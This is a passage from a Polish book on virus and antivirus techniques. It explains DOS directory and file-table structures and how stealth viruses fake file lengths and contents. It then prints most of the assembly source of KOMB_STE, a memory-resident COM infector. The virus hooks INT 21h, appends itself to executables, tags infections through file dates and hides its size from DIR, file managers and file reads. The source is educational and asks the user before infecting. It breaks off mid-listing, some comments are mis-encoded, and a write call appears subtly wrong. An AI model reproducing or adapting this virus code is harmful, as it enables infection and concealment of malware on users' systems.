Polecenie DIR używa do przeglądania zawartości katalogu, pary dwóch przeznaczonych specjalnie do tego celu funkcji (11,12/21). Obie funkcje korzystają z najstarszej metody operowania na plikach, a mianowicie z tzw. bloku opisu pliku FCB (ang. File Control Block},
podawanego jako parametr wejściowy do funkcji oraz z pola opisu pozycji katalogu, zwracanego po jej bezbłędnym wykonaniu w buforze DTA (ang. Disk Transfer Area), których opis przedstawiono w kolejnych tabelach.
Podczas odwołań do struktury FCB należy pamiętać, iż istnieją dwie wersje opisu bloku FCB: zwykły i rozszerzony, będący rozwinięciem bloku zwykłego (zawiera dodatkowe pola). Jeżeli pierwszy bajt bloku jest równy 0FFh, mamy do czynienia z rozszerzonym blokiem opisu pliku.
Adres aktualnego bufora DTA uzyskuje się za pomocą funkcji (2F/21), która umieszcza go w rejestrach ES:BX. Po powrocie z funkcji wskazują one bezpośrednio na pole opisu pozycji katalogu, w którym już bez przeszkód można odpowiednio modyfikować pola długości pliku (1C-1F) oraz czasu i daty ostatniej modyfikacji (18-19 i 1A-1B).
Struktura bloku opisu pliku FCB (zwykłego)
Adres |
Zawartość |
00 |
numer napędu (0=domyślny, 1=A, B=2,...); jeżeli =OFFh, to rozszerzony blok opisu pliku FCB |
01-08 |
8 bajtów nazwy pliku |
09-0B |
3 bajty rozszerzenia pliku |
0C-0D |
numer aktualnego bloku |
0E-0F |
długość logicznego rekordu |
10-13 |
długość pliku |
14-15 |
data ostatniej modyfikacji pliku |
16-17 |
czas ostatniej modyfikacji pliku |
18 |
ilość SFT dla pliku |
19 |
atrybuty, znaczenie bitów bity 7-6 00 - SHARE.EXE niezaładowany, plik dyskowy 01 - SHARE.EXE niezaładowany, sterownik 10 - SHARE.EXE załadowany, plik zdalny 11 - SHARE.EXE załadowany, plik dyskowy lub sterownik bity 5-0 mniej znaczące 6 bitów ze słowa atrybutów |
1A-1F |
zawartość zależna od pola 19, bity 7-6 wartość 11 1A-1B numer pierwszej JAP pliku 1C-1D określa numer rekordu w dostępie dzielonym 1E atrybuty pliku 1F nie używane wartość 10 1A-1B uchwyt w sieci 1C-1F ID w sieci wartość 01 1A-1D wskaźnik do nagfówka sterownika 1E-1F nie używane wartość 00 1A bajt informacyjny bit 7: atrybut tytko do odczytu w SFT bit 6: atrybut archiwalności w SFT bity 5-0: wyższe bity numeru sektora 1B-1C numer pierwszej JAP pliku 1D-1F niższe bity sektora zawierającego adres w katalogu 1F ilość pozycji katalogu w sektorze |
20 |
bieżący rekord |
21-24 |
numer rekordu w dostępie swobodnym; jeżeli rozmiar rekordu 64 bajtów, bardziej znacząca część jest pomijana |
Struktura bloku opisu pliku FCB (rozszerzonego)
Adres |
Zawartość |
00 |
wartość OFFh oznacza blok rozszerzony |
01-05 |
zarezerwowane |
06 |
atrybuty pliku |
07-2B |
zwykły blok opisu FCB (patrz poprzednia tabela) |
Struktura pola opisu pozycji katalogu
Adres |
Zawartość |
00-07 |
nazwa pliku |
08-0A |
rozszerzenie pliku |
0B |
atrybuty pliku |
0C-15 |
zarezerwowane |
16-17 |
czas ostatniej modyfikacji pliku |
18-19 |
data ostatniej modyfikacji pliku |
1A-1B |
numer pierwszej JAP |
1C-1F |
długość pliku |
7.1.1.2. Programy nakładkowe używające krótkich nazw programów (DOS, Windows 3.1)
Nakładki operujące na krótkich nazwach plików (tzn. 8 znaków nazwy i 3 znaki rozszerzenia) używają do przeglądania katalogu funkcji (4E, 4F/21). Wynik wywołania tych funkcji zwracany jest w buforze DTA, jednak format opisu znalezionej pozycji katalogu jest inny niż podczas wywoływania funkcji (11,12/21). Nie zmienia się natomiast sam sposób oszukiwania systemu. Po wykryciu wywoływania którejś z funkcji, należy najpierw uruchomić ją za pomocą pierwotnego programu obsługi, a następnie odczytać adres bufora DTA i zmodyfikować odpowiednie pola struktury.
Pola struktury DTA pokazano poniżej. Najważniejsze z nich to: długość pliku (adres 1A-1D) oraz czas i data (adresy 16-17 i 18-19).
Struktura DTA
Adres |
Zawartość |
00 |
znaczenie bitów: bity 6-0 numer napędu bit 7 ustawiony, oznacza plik zdalny |
01-0B |
szablon poszukiwanych pozycji katalogu |
0C |
atrybuty poszukiwanej pozycji |
0D-0E |
numer wejścia w katalogu |
0F-10 |
numer JAP katalogu nadrzędnego |
11-14 |
zarezerwowane |
15 |
atrybut znalezionej pozycji katalogu |
16-17 |
czas ostatniej modyfikacji znalezionej pozycji katalogu |
18-19 |
data ostatniej modyfikacji znalezionej pozycji katalogu |
1A-1D |
długość znalezionej pozycji katalogu |
1E-2A |
nazwa i rozszerzenie pliku |
7.1.1.3. Programy wykorzystujące długie nazwy plików (Windows 95) oraz polecenie DIR wywoływane z poziomu okna Tryb MS-DOS
Wraz z pojawieniem się systemu Windows 95 wprowadzono tzw. Długie nazwy plików, którymi zastąpiono dotychczas używane (jedenastoznakowe). Mechanizm obslugi długich nazw plików jest dostępny wyłącznie wtedy, gdy aktywny jest system Windows oraz gdy zainstalowany jest tzw. Menedżer IFS.
Za obsługę długich nazw plików odpowiedzialna jest w systemie DOS funkcja (71??/21), gdzie ?? oznacza numer podfunkcji przekazywanej w rejestrze AL. Za pomocą takich podfunkcji zdublowano funkcje (z dokładnością do numerów) operujące na plikach, a dostępne we wcześniejszych wersjach systemu DOS. Za przeszukiwanie zawartości katalogu są więc odpowiedzialne dwie podfunkcje (714E,714F/21), operujące na wprowadzonej wraz z systemem Windows 95strukturze o nazwie FindData. Opisane funkcje są wykorzystywane m.in. przez polecenie DIR wywoływane w oknie Tryb MS-DOS (w systemie Windows 95).
Aby umożliwić różnym aplikacjom działającym w 32-bitowym środowisku graficznym obsługę długich nazw plików, ale bez konieczności odwoływania się do funkcji 16-bitowego systemu DOS, Windows 95 udostępnia analogicznie działające funkcje poprzez tzw. API (ang. Application Program Interface), odpowiednik przerwania 21h dla systemu DOS.
Kod większości funkcji systemowych dostępnych przez API zawarty jest w pliku KERNEL32.DLL, będącym częścią jądra systemu. Na przykład funkcji 714E odpowiada funkcja FindFirstFileA, zaś funkcji 714F - funkcja FindNextFileA. Z funkcji tych korzysta większość programów działających w systemie Windows 95, m.in. Explorator, a także różne programy nakładkowe, np. Wondows Commander 95, tak więc ich przejęcie pozwala na użycie techniki stealth również w systemie Windows 95 (na razie nie ma wirusa który potrafiłby to robić). Adresy do powyższych funkcji można odczytać z pliku KERNEL32.DLL (jest to nowy EXE typu PE), a uzyskane w ten sposób offsety należy zmodyfikować poprzez dodanie do ich adresu, pod którym znajduje się KERNEL32.DLL w pamięci. Niestety do dzisiaj nie jest znany mechanizm pozwalający na odczytanie tego adresu w sposób bezpośredni, bez używania funkcji API. Pierwszy wirus dla Windows 95 (Bizatch lub inaczej Boza) korzysta przy dostępie do funkcji systemowych ze stałego adresu, zapamiętanego w wirusie. Ze względu na to, że iż adres ten zmienia się w różnych podwersjach systemu Windows 95, należy przed jego użyciem sprawdzić, czy rzeczywiście jest on właściwy.
Opis struktury FindData zamieszczono poniżej.
Struktura FindData
Adres |
Zawartość |
00-03 |
atrybuty pliku bity 0-6 standardowe atrybuty plików DOS bit 8 plik tymczasowy (temporary) |
04-0B |
czas i data utworzenia pliku |
0C-13 |
czas i data ostatniego dostępu do pliku |
14-1B |
czas i data ostatniej modyfikacji pliku |
1C-1F |
długość pliku (bardziej znaczące 32 bity) |
20-23 |
długość pliku (mniej znaczące 32 bity) |
24-2B |
zarezerwowane |
2C-12F |
260-bajtowe pole pełnej nazwy pliku (jako ASCIIZ) |
130-13D |
14-bajtowe pole krótkiej nazwy pliku (jako ASCIZZ) |
7.1.2. Podawanie oryginalnych długości i zawartości plików (ang.full stealth)
Aby w pełni oszukiwać system, należy oprócz prawdziwych długości plików podawać także ich prawdziwą zawartość. W tym celu oprócz funkcji przeszukujących zawartość katalogu trzeba przejąć funkcje służące do manipulowania zawartością plików.
Najprościej w momencie otwierania pliku leczyć go, a w chwili zamykania - ponownie infekować. Powyższa metoda ma jednak kilka niedociągnięć. Główną jej wadą jest to, iż nie sprawdzi się ona na pewno na dyskach zabezpieczonych przed zapisem (klasycznym przykładem jest tu płyta CD lub zabezpieczona przed zapisem dyskietka). Należy też pamiętać, iż użytkownik z pewnością zauważy częste leczenie i ponowną infekcję plików, gdyż wszelkie operacje dyskowe będą przebłagały wolniej.
Powyższych wad nie posiada natomiast metoda polegająca na tym, aby w momencie odczytu dowolnego pliku sprawdzać, czy jest to plik zainfekowany i w locie leczyć go w pamięci, nie zmieniając jednak jego obrazu na dysku. W efekcie program odczytujący plik widzi jego oryginalną zawartość, zaś fizycznie plik nie jest zmieniany. Napisanie procedury stosującej powyższą metodę nie jest już jednak zadaniem tak łatwym, jak w poprzednim przypadku; należy rozważyć kilka możliwości związanych z położeniem wskaźnika zapisu/odczytu w stosunku do początku pliku. Aby uprościć to zadanie, często stosuje się zabieg polegający na tym, że przy otwieraniu zainfekowanego pliku zmniejsza się w wewnętrznych strukturach DOS (tablica SFT, opisana poniżej) jego długość o rozmiar wirusa. Wtedy, jedynym obszarem pliku, którym musi zająć się wirus, jest jego początek (np. w przypadku nagłówka plików EXE wirus powinien przywracać jego prawdziwą zawartość), gdyż operacje odczytu nigdy nie dojdą do dodanego na końcu pliku wirusa.
Przy programowaniu wirusa wykorzystującego technikę stealth często przydatne są dwie wewnętrzne funkcje DOS (1216/1220/2F), służące do operowania na wewnętrznych strukturach DOS, tzw. tablicach SFT (ang. System File Table), zawierających wszelkie informacje o otwartym pliku. W systemie może istnieć kilka podtablic SFT, połączonych w łańcuch. Dostęp do zawartych w nich informacji o pliku uzyskuje się na podstawie uchwytu pliku zwracanego przez funkcje (3D,6C/21) przy jego otwieraniu. Uchwyt ten podaje się jako parametr funkcji (1216/1220/2F). Po ich użyciu najpierw uzyskujemy adres tzw. tablicy JFT (ang. Job File Table), opisującej pliki otwarte w danym procesie. Na jej podstawie otrzymujemy adres tablicy SFT opisującej dany plik. Używa się do tego poniższej sekwencji:
; Uzyskiwanie informacji o pliku na podstawie jego uchwytu
MOV AX,1220h ; weƒ adres tablicy JFT zawieraj╣cej numer SFT,
; opisuj╣cej plik podany w BX
MOV BX,UchwytPliku ; BX zawiera uchwyt (numer) pliku
INT 2Fh ; wywo│aj funkcjÛ
MOV BL,ES:[DI] ; weƒ numer tablicy SFT
MOV AX,1216h ; weƒ adres tablicy SFT na podstawie numeru w BL
INT 2Fh ; wywo│aj funkcjÛ ES:DI wskazuje na tablicÛ SFT pliku
Jak widać, infekowanie pliku jest możliwe nawet przy jego zamykaniu. Format podtablicy SFT podano poniżej:
Format podtablicy SFT
Adres |
Zawartość |
00-03 |
Wskaźnik do następnej podtablicy |
04 |
N - liczba plików w podtablicy |
06-40 |
|
|
Opis pliku nr 1 w podtablicy - patrz następna tablica |
|
Opis pliku nr N w podtablicy |
Opis pliku zawarty w tablicy SFT
Adres |
Zawartość |
00-01 |
Liczba łączników do pliku |
02-03 |
Tryb |
04 |
Atrybut pliku |
05-06 |
Informacja o pliku |
07-0A |
Wskaźnik do nagłówka programu obsługi lub do bloku DPB |
0B-0C |
Pierwsza JAP pliku |
0D-0E |
Czas ostatniej modyfikacji pliku |
0F-11 |
Data ostatniej modyfikacji pliku |
11-14 |
Rozmiar pliku |
15-18 |
Aktualna pozycja wskaźnika odczytu/zapisu pliku |
19-1A |
Względny numer JAP |
1B-1E |
Położenie elementu katalogu opisującego plik |
20-2A |
Nazwa i rozszerzenie pliku |
2B-2E |
Wskaźnik do poprzedniego elementu SFT (pole programu SHARE) |
2F-30 |
Numer komputera w sieci (pole programu SHARE) |
31-32 |
Adres właściciela pliku (jego PSP) |
33-34 |
Położenie w obszarze roboczym listy zablokowanych regionów pliku (pole programu SHARE) |
35-36 |
Numer JAP |
37-3A |
Wskaźnik do IFS pliku lub 00000000h |
Zamieszczony poniżej wirus stosuje technikę senii-stealth w odniesieniu do polecenia DIR i popularnych nakładek oraz full stealth oparty na tablicach SFT.
;----------------------------------------------------------------------------;
; ;
; Czesc ksiazki : "Nowoczesne techniki wirusowe i antywirusowe" ;
; ;
; KOMB_STE v1.0, Autor : Adam Blaszczyk 1997 ;
; ;
; Zmodyfikowany wirus KOMBAJN, rozszerzony o technike STEALTH ;
; ;
;----------------------------------------------------------------------------;
; Informacje Techniczne ;
;----------------------------------------------------------------------------;
; ;
; Wirus oszukuje uzytkownika w nastepujacy sposob : ;
; _ Podaje prawdziwa dlugosc pliku podczas przegladania katalogu za ;
; pomoca polecenia DIR ;
; _ Podaje prawdziwa dlugosc pliku podczas przegladania katalogu za ;
; pomoca nakladek typu Dos Navigator, Norton Commander ;
; _ Nie pozwala przeczytac koncowej czesci pliku zawierajacej wirusa ;
; (plik jest sztucznie "ucinany" w tablicy SFT ) ;
; ;
; Wirus nie monitoruje odczytow z poczatku pliku, tak wiec w zarazonych ;
; plikach mozna go wykryc poprzez sprawdzenie czy pierwsza instrukcja ;
; programu E9 xx xx wskazuje na koniec pliku. Dodatkowo, poniewaz wirus ;
; informuje o wykonywanych przez siebie operacjach - w momencie wywolania ;
; zainfekowanego programu, pojawi sie od niego komunikat mowiacy o tym, ;
; iz wirus jest juz zainstalowany w pamieci. ;
; ;
; Kompilacja : ;
; TASM KOMB_STE.ASM ;
; TLINK /t KOMB_STE.OB J ;
; ;
;----------------------------------------------------------------------------;
JUMPS
KOMB_STE SEGMENT
ASSUME CS:KOMB_STE, DS:KOMB_STE
ORG 100h
Haslo = 0BACAh ; \ do sprawdzenia czy wirus jest
Odpowiedz = 0CABAh ; / juz zainstalowany w pamieci
NUL = 00h ; \
LF = 0Ah ; - stale znakow
CR = 0Dh ; /
AtrReadOnly = 00000001b ; \
AtrHidden = 00000010b ; \
AtrSystem = 00000100b ; \ rozne stale atrybutow
AtrVolumeID = 00001000b ; / pozycji katalogu
AtrDirectory = 00010000b ; /
AtrArchive = 00100000b ; /
DTAStruc struc ; struktura DTA bufora transmisji
; dyskowych uzywana przez
; funkcje 4E i 4F
DTAFill db 21 dup (?) ; nieistotna czesc struktury
DTAAttr db ? ; atrybut znalezionej pozycji
DTATime dw ? ; czas znalezionej pozycji
DTADate dw ? ; data znalezionej pozycji
DTASize dd ? ; dlugosc znalezionej pozycji
DTAName db 13 dup (?) ; nazwa znalezionej pozycji
DTAStruc ends
DIRStruc struc
DIRDrv db ? ; numer napedu
DIRName db 8 dup(?) ; nazwa znalezionej pozycji
DIRExt db 3 dup(?) ; rozszerzenie znalezionej pozycji
DIRAttr db ? ; atrybut znalezionej pozycji
DIRRes db 10 dup(?) ; zarezerwowane
DIRTime dw ? ; czas znalezionej pozycji
DIRDate dw ? ; data znalezionej pozycji
DIRStartJAP dw ? ; poczatkowa JAP znalezionej pozycji
DIRSize dd ? ; dlugosc znalezionej pozycji
DIRStruc ends
SFTStruc struc
SFTCntHnd dw ? ; ile uchwytow do pliku
SFTOpMode dw ? ; tryb otwarcia pliku
SFTAttr db ? ; atrybut pliku
SFTDevAttr dw ? ; informacja o urzadzeniu
SFTDevPtr dd ? ; adres do naglowka sterownika
; lub do DPB
SFTStartJAP dw ? ; poczatkowa JAP pliku
SFTTime dw ? ; czas pliku
SFTDate dw ? ; data pliku
SFTSize dd ? ; dlugosc znalezionej pozycji
SFTPos dd ? ; wskaznik odczytu/zapisu
SFTRes db 7 dup(?) ; pola nieistotne
SFTName db 11 dup(?) ; nazwa + rozszerzenie pliku
SFTStruc ends
VRok = 1998 ; \ data opisujaca
VMiesiac = 13 ; - pliki juz zainfekowane
VDzien = 31 ; /
VZnacznik = (VRok-1980)*512+VMiesiac*32+VDzien
DlugoscWirusa = (Offset KoniecWirusa-Offset PoczatekWirusa)
DlugoscWPamieci = (DlugoscWirusa +31)/16
Start: ; poczatek wirusa
PoczatekWirusa: ; pomocnicza etykieta
Call Trik ; zapisz na stosie relatywny ofset
Trik:
pop si ; zdejmij ze stosu relatywny ofset
sub si,103h ; oblicz ofset do poczatku wirusa
mov ax,Haslo ; \ sprawdz, czy wirus jest
int 21h ; / juz w pamieci
cmp ax,Odpowiedz ; \ czy kopia wirusa odpowiedziala ?
jne InstalacjaWPamieci ; / NIE - zainstaluj
; TAK - wypisz komunikat
lea di,TeBylZainstalowany ; /
call DrukSI ; /
jmp PowrocDoNosiciela ; i powroc do nosiciela
InstalacjaWPamieci: ; poczatek instalacji
lea di,TeCopyRight ; \ wyswietl info o wirusie
Call DrukSI ; /
lea di,TeInstalacja ; \ zapytaj uzytkownika, czy chce
Call DrukSI ; \ zainstalowac wirusa w pamieci
Call Decyzja ; /
jc PowrocDoNosiciela ; / CF=1 uzytkownik nie chce instalowac
mov ax,3521h ; funkcja DOS - wez adres INT 21
int 21h ; wywolaj funkcje
mov [si][Stare21Seg],es ; \ zachowaj adres (wirus bedzie go
mov [si][Stare21Ofs],bx ; / uzywal)
mov ax,ds ; przywroc ES
mov es,ax ; AX=ES=DS=CS=SS=PSP
dec ax ; AX=ES-1=MCB aktualnego bloku pamieci
mov ds,ax ; DS=blok MCB aktualnego bloku pamieci
mov bx,word ptr ds:[0003h] ; wez dlugosc bloku pamieci
sub bx,DlugoscWPamieci+1 ; zmniejsz go o dlugosc wirusa
mov ah,4Ah ; funkcja DOS - zmien rozmiar bloku pamieci
int 21h ; wywolaj funkcje
mov bx,DlugoscWPamieci ; podaj jaki chcesz blok pamieci
mov ah,48h ; funkcja DOS - przydzial bloku
int 21h ; wywolaj funkcje
jc PowrocDoNosiciela ; CF=1 nie udalo sie przydzielic
mov es,ax ; ES=wskazuje na przydzielony blok
xor di,di ; ES:DI - dokad skopiowac
cld ; zwiekszaj SI, DI w REP MOVSB
push si ; SI bedzie zmieniany wiec zachowaj
add si,offset PoczatekWirusa ; dodaj skad kopiowac
mov cx,DlugoscWirusa ; cx=ile bajtow kopiowac
rep movs byte ptr es:[di], cs:[si] ; kopiuj z CS:SI do ES:DI, CX bajtow
pop si ; przywroc relatywny ofset
mov ax,es ; pobierz adres do MCB opisujacego
dec ax ; blok, w ktorym jest wirus
mov ds,ax ; DS=MCB wirusa
mov word ptr ds:[0001h],0008h ; ustaw MCB wirusa jako systemowy
sub ax,0Fh ; \ DS=adres bloku-10h
mov ds,ax ; \ sztuczka, dzieki ktorej mozna
; / odwolywac sie do danych jak w
; / zwyklym programie COM (ORG 100h)
mov dx,Offset NoweInt21 ; DX=adres do nowej procedury INT 21h
mov ax,25FFh ; funkcja DOS - ustaw adres INT 21
int 21h ; wywolaj funkcje
push cs ; \ wyswietl komunikat o
pop ds ; \ instalacji w pamieci
lea di,TeZainstalowany ; \ i segment, w ktorym
Call DrukSI ; / rezyduje wirus
mov ax,es ; /
Call DrukHEX16 ; /
PowrocDoNosiciela: ;
push cs cs ; \ przywroc DS=ES=CS=PSP
pop ds es ; /
mov al,byte ptr [si][StareBajty] ; \ przywroc 3 poczatkowe bajty
mov ds:[100h],al ; \ programu pod adresem CS:100h
mov ax,word ptr [si][StareBajty+1] ; /
mov ds:[101h],ax ; /
mov ax,100h ; \ zachowaj na stosie slad do
push ax ; / adresu 100h
xor ax,ax ; \ dla bezpieczenstwa
xor bx,bx ; \ lepiej wyzerowac rejestry
xor cx,cx ; \ robocze
xor dx,dx ; /
xor si,si ; /
xor di,di ; /
ret ; powroc do nosiciela
PytanieOInstalacje: ; \ odpowiedz rezydujacego
xchg al,ah ; - wirusa (na pytanie czy jest
iret ; / w pamieci)
NoweInt21:
cmp ax,4B00h ; czy funkcja DOS - uruchom program ?
je InfekcjaPliku ; TAK - sprobuj infekowac
cmp ax,Haslo ; czy pytanie wirusa o instalacje ?
je PytanieOInstalacje ; TAK - odpowiedz, ze zainstalowany
cmp ah,11h ; \ czy funkcje przeszukiwania ?
je STEALTH_11_12 ; \ katalogu uzywane przez
cmp ah,12h ; / polecenie DIR ?
je STEALTH_11_12 ; / TAK - oszukuj jesli trzeba
cmp ah,4Eh ; \ czy funkcje przeszukiwania ?
je STEALTH_4E_4F ; \ katalogu uzywane przez
cmp ah,4Fh ; / nakladki ?
je STEALTH_4E_4F ; / TAK - oszukuj jesli trzeba
cmp ah,3Dh
je STEALTH_3D
jmp PowrotZInt21 ; idz do poprzedniego lancucha
; przerwan
STEALTH_3D:
call UstawNowe24 ; ustaw obsluge bledow krytycznych
Call StareInt21 ; wywolaj stare przerwanie 21h
jc STEALTH_3D_Powrot2 ; CF=1 to blad
pushf ; \ zachowaj wartosci rejestrow
push es ax bx di ; / zmienionych przez wywolanie
mov bx,ax ; BX zawiera uchwyt (numer) pliku
mov ax,1220h ; wez adres tablicy JFT
int 2Fh ; wywolaj funkcje
jc STEALTH_3D_Powrot ; CF=1 Blad
mov bl,es:[di] ; wez numer tablicy SFT
mov bh,0 ; BX=BL
mov ax,1216h ; wez adres tablicy SFT na podstawie numeru w BL
int 2Fh ; wywolaj funkcje
jc STEALTH_3D_Powrot ; CF=1 Blad
cmp es:[di][SFTDate],VZnacznik ; czy znaleziona pozycja jest
; zainfekowana ?
jne STEALTH_3D_Powrot ; NIE - STEALTH niepotrzebne
cmp word ptr es:[di][SFTSize+2],0 ; czy dlugosc pliku >65535 ?
jne MozeMiecWirusa_3D ; TAK - moze byc zainfekowany
cmp word ptr es:[di][SFTSize],DlugoscWirusa
jb STEALTH_3D_Powrot ; czy dlugosc pliku >=dlug. wirus
; TAK - moze byc zainfekowany
; NIE - STEALTH niepotrzebne
MozeMiecWirusa_3D:
sub word ptr es:[di][SFTSize],DlugoscWirusa
; odejmij dlugosc wirusa
sbb word ptr es:[di][SFTSize+2],0
; uwzglednij ewent. pozyczke
; z bardziej znaczacej czesci
STEALTH_3D_Powrot:
pop di bx ax es ; \ przywroc odpowiednie wartosci
popf ; / rejestrow
STEALTH_3D_Powrot2:
Call PrzywrocStare24 ; przywroc stara obsluge bledow krytycznych
retf 2 ; powrot z zachowaniem ustawionych znacznikow
; ES:DI wskazuje na tablicÓ SFT pliku
STEALTH_11_12:
call UstawNowe24 ; ustaw obsluge bledow krytycznych
Call StareInt21 ; wywolaj stare przerwanie 21h
or al,al ; CZY AL=0
jnz STEALTH_11_12_Powrot2 ; AL<>0 to blad
pushf ; \ zachowaj wartosci rejestrow
push es ax bx ; / zmienionych przez wywolanie
mov ah,2Fh ; funkcja DOS - wez adres do DTA
Call StareInt21 ; wywolaj stare przerwanie 21h
cmp es:[bx][DIRDrv],0FFh ; czy rozszerzony FCB ?
jne ZwyklyFCB ; NIE - zwykly FCB
add bx,7 ; dodaj przesuniecie
; teraz ES:BX=wskazuje na zwykly FCB
ZwyklyFCB:
cmp es:[bx][DIRDate],VZnacznik ; czy znaleziona pozycja jest
; zainfekowana ?
jne STEALTH_11_12_Powrot ; NIE - STEALTH niepotrzebne
cmp word ptr es:[bx][DTASize+2],0 ; czy dlugosc pliku >65535 ?
jne MozeMiecWirusa_11_12 ; TAK - moze byc zainfekowany
cmp word ptr es:[bx][DTASize],DlugoscWirusa
jb STEALTH_11_12_Powrot ; czy dlugosc pliku >= dlugosc wirusa
; TAK - moze miec wirusa
; NIE - STEALTH niepotrzebne
MozeMiecWirusa_11_12:
sub word ptr es:[bx][DTASize],DlugoscWirusa
; odejmij dlugosc wirusa
sbb word ptr es:[bx][DTASize+2],0
; uwzglednij ewent. pozyczke
; z bardziej znaczacej czesci
STEALTH_11_12_Powrot:
pop bx ax es ; \ przywroc odpowiednie wartosci
popf ; / rejestrow
STEALTH_11_12_Powrot2:
Call PrzywrocStare24 ; przywroc stara obsluge bledow krytycznych
retf 2 ; powrot z zachowaniem ustawionych znacznikow
STEALTH_4E_4F:
call UstawNowe24 ; ustaw obsluge bledow krytycznych
Call StareInt21 ; wywolaj stare przerwanie 21h
jc STEALTH_4E_4F_Powrot2 ; CF=1 to blad
pushf ; \ zachowaj wartosci rejestrow
push es ax bx ; / zmienionych przez wywolanie
mov ah,2Fh ; funkcja DOS - wez adres do DTA
Call StareInt21 ; wywolaj stare przerwanie 21h
cmp es:[bx][DTADate],VZnacznik ; czy znaleziona pozycja jest
; zainfekowana ?
jne STEALTH_4E_4F_Powrot ; NIE - STEALTH niepotrzebne
cmp word ptr es:[bx][DTASize+2],0 ; czy dlugosc pliku >65535 ?
jne MozeMiecWirusa_4E_4F ; TAK - moze byc zainfekowany
cmp word ptr es:[bx][DTASize],DlugoscWirusa
jb STEALTH_4E_4F_Powrot ; czy dlugosc pliku >=dlug. wirusa
; TAK - moze byc zainfekowany
; NIE - STEALTH niepotrzebne
MozeMiecWirusa_4E_4F:
sub word ptr es:[bx][DTASize],DlugoscWirusa
; odejmij dlugosc wirusa
sbb word ptr es:[bx][DTASize+2],0
; uwzglednij ewent. pozyczke
; z bardziej znaczacej czesci
STEALTH_4E_4F_Powrot:
pop bx ax es ; \ przywroc odpowiednie wartosci
popf ; / rejestrow
STEALTH_4E_4F_Powrot2:
Call PrzywrocStare24 ; przywroc stara obsluge bledow krytycznych
retf 2 ; powrot z zachowaniem ustawionych znacznikow
InfekcjaPliku:
push es ds ax bx cx dx si di ; zachowaj zmieniane rejestry
mov cs:StaryDS, ds ; \ zachowaj adres do nazwy pliku
mov cs:StaryDX, dx ; /
call UstawNowe24
mov ax,4300h ; funkcja DOS - czytaj atrybut
Call StareInt21 ; wywolaj stare przerwanie 21h
jc PrzywrocAtrybut ; CF=1 blad wiec powrot
mov cs:Atrybut,cl ; wez stary atrybut
mov ax,4301h ; funkcja DOS - zapisz atrybut
mov cx,AtrArchive ; podaj nowy atrybut : Archive
Call StareInt21 ; wywolaj stare przerwanie 21h
jc PrzywrocAtrybut
mov ax,3D02h ; funkcja DOS - otworz plik
; do odczytu i zapisu
Call StareInt21 ; wywolaj stare przerwanie 21h
jc PrzywrocAtrybut ; gdy CF=1, to blad
xchg ax,bx ; przenies uchwyt pliku do BX
mov ax,5700h ; funkcja DOS - wpisz date, czas
Call StareInt21 ; wywolaj stare przerwanie 21h
mov cs:Czas,cx ; zachowaj czas pliku na pozniej
cmp dx,VZnacznik ; czy plik jest juz zainfekowany ?
je ZamknijPlik ; TAK - zamknij plik, powrot
push cs ; \ DS=CS=segment wirusa
pop ds ; /
mov cx,3 ; ilosc czytanych bajtow
lea dx,StareBajty ; podaj dokad czytac 3 bajty
mov ah,3Fh ; funkcja DOS - czytaj z pliku
Call StareInt21 ; wywolaj stare przerwanie 21h
jc ZamknijPlik ; gdy CF=1, to blad
mov ax,word ptr [StareBajty] ; wez dwa pierwsze bajty pliku
cmp ax,'MZ' ; i sprawdz, czy to nie EXE
je ZamknijPlik ; gdy 'MZ' to plik EXE, powrot
cmp ax,'ZM' ;
je ZamknijPlik ; gdy 'ZM' to plik EXE, powrot
xor cx,cx ; \ zeruj CX:DX zawierajace
xor dx,dx ; / adres wzgledem konca pliku
mov ax,4202h ; funkcja DOS - zmien wskaznik
; odczytu/zapisu na koniec pliku
Call StareInt21 ; wywolaj stare przerwanie 21h
jc ZamknijPlik ; gdy CF=1, to blad
; DX = starsza czesc dlugosci pliku
or dx,dx ; czy plik krotszy niz 65536 ?
jnz ZamknijPlik ; NIE - nie infekuj
cmp ax,64000 ; czy dlugosc <= 64000 ?
ja ZamknijPlik ; NIE - nie infekuj
cmp ax,3 ; czy dlugosc >= 3 ?
jb ZamknijPlik ; NIE - nie infekuj
sub ax,3 ; odejmij dlugosc skoku E9 ?? ??
mov word ptr [Skok+1],ax ; zapisz do bufora rozkaz skoku
lea di,TeZnalazlemPlik ; \ zapytaj uzytkownika
Call Druk ; \ czy chce zainfekowac
; \ plik
mov di,cs:StaryDX ; \ nazwa pliku jest
mov ds,cs:StaryDS ; \ wyswietlana
Call Druk ; \
; - (dzieki temu uzytkownik
push cs ; / ma pelna kontrole nad
pop ds ; / tym co wirus infekuje)
lea di,TeInfekcja ; /
Call Druk ; /
Call Decyzja ; /
jc ZamknijPlik ; / CF=1 uzytkownik nie pozwala
mov cx,DlugoscWirusa ; ilosc zapisywanych bajtow
mov dx,100h ; podaj skad zapisac wirusa
mov ah,30h ; funkcja DOS - zapisz do pliku
Call StareInt21 ; wywolaj stare przerwanie 21h
jc ZamknijPlik ; gdy CF=1, to blad
xor cx,cx ; \ zeruj CX:DX zawierajace
xor dx,dx ; / adres wzgledem poczatku pliku
mov ax,4200h ; funkcja DOS - zmien wskaznik
; odczytu/zapisu na poczatek pliku
Call StareInt21 ; wywolaj stare przerwanie 21h
jc ZamknijPlik ; gdy CF=1 to blad
mov cx,3 ; ilosc zapisywanych bajtow
lea dx,Skok ; podaj skad zapisac rozkaz skoku
mov ah,30h ; funkcja DOS - zapisz do pliku
Call StareInt21 ; wywolaj stare przerwanie 21h
jc ZamknijPlik ; gdy CF=1, to blad
mov cx,Czas ; przywroc czas
mov dx,VZnacznik ; zaznacz w dacie infekcje pliku
mov ax,5701h ; funkcja DOS - wpisz date, czas
Call StareInt21 ; wywolaj stare przerwanie 21h
ZamknijPlik:
mov ah,3Eh ; funkcja DOS - zamknij plik
Call StareInt21 ; wywolaj stare przerwanie 21h
PrzywrocAtrybut:
mov cl,cs:Atrybut ; podaj stary atrybut
mov ch,0 ; CX=CL
mov dx,cs:StaryDX ; \ podaj nazwe pliku do zmiany
mov ds,cs:StaryDS ; / w DS:DX
mov ax,4301h ; funkcja DOS - zmien atrybut
Call StareInt21 ; wywolaj stare przerwanie 21h
Call PrzywrocStare24
pop di si dx cx bx ax ds es ; przywroc zmieniane rejestry
PowrotZInt21:
db 0EAh ; mnemonik rozkazu skoku JMP FAR
Stare21Ofs dw ? ; z tych pol korzysta skok
Stare21Seg dw ? ; aby oddac sterowanie do poprzedniego
; elementu lancucha przerwan INT 21
StareInt21:
pushf ; \ symuluj wywolanie przerwania
Call dword ptr cs:[Stare21Ofs] ; / wyowlaj stare przerwanie
ret ; powroc z wywolania
UstawNowe24:
